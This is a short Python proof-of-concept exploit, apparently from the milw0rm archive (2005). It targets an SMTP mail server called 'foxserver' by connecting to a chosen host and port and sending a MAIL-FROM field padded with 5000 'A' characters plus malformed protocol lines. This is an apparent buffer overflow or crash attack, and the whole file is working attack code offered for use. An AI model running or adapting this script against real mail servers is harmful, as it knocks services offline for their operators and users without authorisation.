#!/usr/bin/python
#Code by OYXin
#oyxin_at_segfault.cn
import socket
import sys
import getopt
def usage():
print "Usage: foxserver.py -h host -p port"
sys.exit(0)
if __name__ == '__main__':
try:
opts, args = getopt.getopt(sys.argv[1:], "h:p:")
except getopt.GetoptError, msg:
print msg
usage()
for o,a in opts:
if o in ["-h"]:
host = a
if o in ["-p"]:
port = int(a)
evilbuf = "MAIL-FROM: <" + "A"*5000 + ">" + "\r\n"
evilbuf += "RCPT-TO: postmaster@company.mailDATA" + "\r\n"
evilbuf += "Message-ID: 123" + "\r\n"
evilbuf += "ASDF" + "\r\n"
evilbuf += "." + "\r\n"
evilbuf += "QUIT" + "\r\n"
try:
sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sockfd.connect((host, port))
recvbuf = sockfd.recv(1024)
print `recvbuf`
sockfd.send("HELO localhost\r\n")
recvbuf = sockfd.recv(1024)
print `recvbuf`
sockfd.send(evilbuf)
except socket.error, msg:
print msg
sockfd.close()
# milw0rm.com [2005-02-07]